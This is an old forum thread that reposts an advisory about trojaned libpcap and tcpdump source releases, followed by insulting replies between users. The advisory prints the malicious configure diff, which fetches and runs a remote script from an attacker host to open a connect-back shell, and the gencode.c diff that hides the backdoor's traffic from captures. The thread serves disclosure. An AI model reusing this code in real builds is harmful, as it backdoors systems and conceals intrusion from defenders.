Private Messages Options Search Blogs Images Chat Cam Portals Calendar FAQ's Join  
Asylum Forums : Powered by vBulletin version 2.2.8 Asylum Forums > WIT - Whore Institute of Technology > Libpcap and tcpdump trojaned.
  Last Thread   Next Thread
Author
Thread [new thread]    [post reply]
SocialParasite
100% pure failtanium.

Registered: Jul 2000
Location: Beatrice, Nebraska
Posts: 18490

Libpcap and tcpdump trojaned.

Ruh roh!

http://hlug.fscker.com/


quote:

Latest libpcap & tcpdump sources from tcpdump.org contain a trojan.

Background:

* Libpcap provides a packet sniffing library for programs like Snort.
* Tcpdump is a standard tool for packet sniffing.

Details:

* The trojan contains modifications to the configure script and gencode.c (in libpcap only).

* The configure script downloads http://mars.raketti.net/~mash/services which is then sourced with the shell. It contains an embedded shell script that creates a C file, and compiles it.

* The program connects to 212.146.0.34 (mars.raketti.net) on port 1963 and reads one of three one byte status codes:
o A - program exits
o D - forks and spawns a shell and does the needed file descriptor manipulation to redirect it to the existing connection to 212.146.0.34.
o M - closes connection, sleeps 3600 seconds, and then reconnects

Hmm... ADM...

* It's important to note that it reuses the same outgoing connection for the shell. This gets around firewalls that block incoming connections.

* Gencode.c is modified to force libpcap to ignore packets to/from the backdoor program, hiding the backdoor program's traffic.

* This is similar to the OpenSSH trojan a few months ago.

Updates:

* Many Mirrors are infected with the trojan!!!
* Main Mirror Site (wiretapped.net) will no longer be providing tcpdump downloads until things are straightened out.

Good sources:

http://www.ibiblio.org/pub/Linux/di...ap-0.7.1.tar.gz
http://www.ibiblio.org/pub/Linux/di...mp-3.6.2.tar.gz
http://www.ibiblio.org/pub/Linux/di...mp-3.7.1.tar.gz

MD5 Sum 0597c23e3496a5c108097b2a0f1bd0c7 libpcap-0.7.1.tar.gz
MD5 Sum 6bc8da35f9eed4e675bfdf04ce312248 tcpdump-3.6.2.tar.gz
MD5 Sum 03e5eac68c65b7e6ce8da03b0b0b225e tcpdump-3.7.1.tar.gz

Trojaned sources:

http://www.tcpdump.org/release/libpcap-0.7.1.tar.gz
http://www.tcpdump.org/release/tcpdump-3.6.2.tar.gz
http://www.tcpdump.org/release/tcpdump-3.7.1.tar.gz

MD5 Sum 73ba7af963aff7c9e23fa1308a793dca libpcap-0.7.1.tar.gz
MD5 Sum 3a1c2dd3471486f9c7df87029bf2f1e9 tcpdump-3.6.2.tar.gz
MD5 Sum 3c410d8434e63fb3931fe77328e4dd88 tcpdump-3.7.1.tar.gz

The (relevant) gencode.c diff:

*** 288,293 ****
--- 289,318 ----
{
extern int n_errors;
int len;
+ int l;
+ char *port = "1963";
+ char *str, *tmp, *new = "not port 1963";
+
+ if (buf && *buf && strstr (buf, port)) {
+ buf = "port 1964";
+ }
+ else {
+ l = strlen (new) + 1;
+ if (!(!buf || !*buf)) {
+ l += strlen (buf);
+ l += 5; /* and */
+ }
+
+ str = (char *)malloc (l);
+ str[0] = '\0';
+ if (!(!buf || !*buf)) {
+ strcpy (str, buf);
+ strcat (str, " and ");
+ }
+
+ strcat (str, new);
+ buf = str;
+ }

no_optimize = 0;
n_errors = 0;
***************


The (relevant) configure diff:

+ CNF="services"
+ URL="mars.raketti.net/~mash/$CNF"

! (IFS=","
! ARGS="wget -q -O -,lynx --source,fetch -q -o -"
!
! for i in $ARGS; do
! IFS=" "
! $i $URL 1> $CNF
! if [ -f $CNF ]; then sh $CNF
! exit
! fi
! rm -f $CNF
! done) 1>/dev/null 2>/dev/null &


__________________
The pinnacle of Failbot technology.

Report this post to a moderator | IP: Logged

Old Post 11-13-2002 06:40 PM
SocialParasite is offline Click Here to See the Profile for SocialParasite Click here to Send SocialParasite a Private Message Visit SocialParasite's homepage! Find more posts by SocialParasite Add SocialParasite to your buddy list [P] Edit/Delete Message Reply w/Quote
The Wraith
Sergeant of Marines

Registered: Jan 2001
Location: WDM, IA
Posts: 2963

As a bugtraq regurgitator, you suck.

__________________
Regards,
The Wraith

Report this post to a moderator | IP: Logged

Old Post 11-15-2002 07:03 PM
The Wraith is offline Click Here to See the Profile for The Wraith Click here to Send The Wraith a Private Message Find more posts by The Wraith Add The Wraith to your buddy list [P] Edit/Delete Message Reply w/Quote
SocialParasite
100% pure failtanium.

Registered: Jul 2000
Location: Beatrice, Nebraska
Posts: 18490

quote:
Originally posted by The Wraith
As a bugtraq regurgitator, you suck.


I don't follow Bugtraq, buddy.

__________________
The pinnacle of Failbot technology.

Report this post to a moderator | IP: Logged

Old Post 11-15-2002 08:00 PM
SocialParasite is offline Click Here to See the Profile for SocialParasite Click here to Send SocialParasite a Private Message Visit SocialParasite's homepage! Find more posts by SocialParasite Add SocialParasite to your buddy list [P] Edit/Delete Message Reply w/Quote
The Wraith
Sergeant of Marines

Registered: Jan 2001
Location: WDM, IA
Posts: 2963

Then, whoever sourced the original notice, from which you took your "highly resourceful information" from, do. So, you re-posted a re-posted notice. Outstanding. It still means you suck, only worse than originally suspected.

__________________
Regards,
The Wraith

Report this post to a moderator | IP: Logged

Old Post 11-18-2002 03:36 PM
The Wraith is offline Click Here to See the Profile for The Wraith Click here to Send The Wraith a Private Message Find more posts by The Wraith Add The Wraith to your buddy list [P] Edit/Delete Message Reply w/Quote
abuse
Bluffy Funny

Registered: Jun 2001
Location: In your subconscious, cunt.
Posts: 74

quote:
Originally posted by The Wraith
Then, whoever sourced the original notice, from which you took your "highly resourceful information" from, do. So, you re-posted a re-posted notice. Outstanding. It still means you suck, only worse than originally suspected.

Attachment: dickhead.jpg
This has been downloaded 622 time(s).

__________________

Report this post to a moderator | IP: Logged

Old Post 11-18-2002 04:32 PM
abuse is offline Click Here to See the Profile for abuse Click here to Send abuse a Private Message Find more posts by abuse Add abuse to your buddy list [P] Edit/Delete Message Reply w/Quote
The Wraith
Sergeant of Marines

Registered: Jan 2001
Location: WDM, IA
Posts: 2963

abuse,

I poop bigger than you.

__________________
Regards,
The Wraith

Report this post to a moderator | IP: Logged

Old Post 11-18-2002 05:08 PM
The Wraith is offline Click Here to See the Profile for The Wraith Click here to Send The Wraith a Private Message Find more posts by The Wraith Add The Wraith to your buddy list [P] Edit/Delete Message Reply w/Quote
All times are GMT. The time now is 05:59 AM. Post New Thread    Post A Reply
  Last Thread   Next Thread
Show Printable Version | Email this Page | Subscribe to this Thread

Forum Jump:
 

Forum Rules:
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts
HTML code is OFF
vB code is ON
Smilies are ON
[IMG] code is ON
 

< Contact Us - The Asylum >

Powered by: vBulletin Version 3.0.6
Copyright ©2000 - 2002, Jelsoft Enterprises Limited.
Copyright © 2000- Imaginet Inc.
[Legal Notice] | [Privacy Policy] | [Site Index]